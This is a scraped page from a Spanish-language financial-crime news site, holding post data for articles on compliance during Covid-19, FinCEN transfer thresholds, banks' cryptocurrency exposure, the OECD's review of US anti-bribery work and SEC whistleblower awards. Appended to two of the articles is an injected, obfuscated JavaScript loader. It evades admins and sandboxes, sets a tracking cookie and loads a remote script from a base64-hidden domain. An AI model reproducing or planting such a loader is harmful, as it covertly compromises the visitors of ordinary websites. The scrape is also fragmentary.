no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe 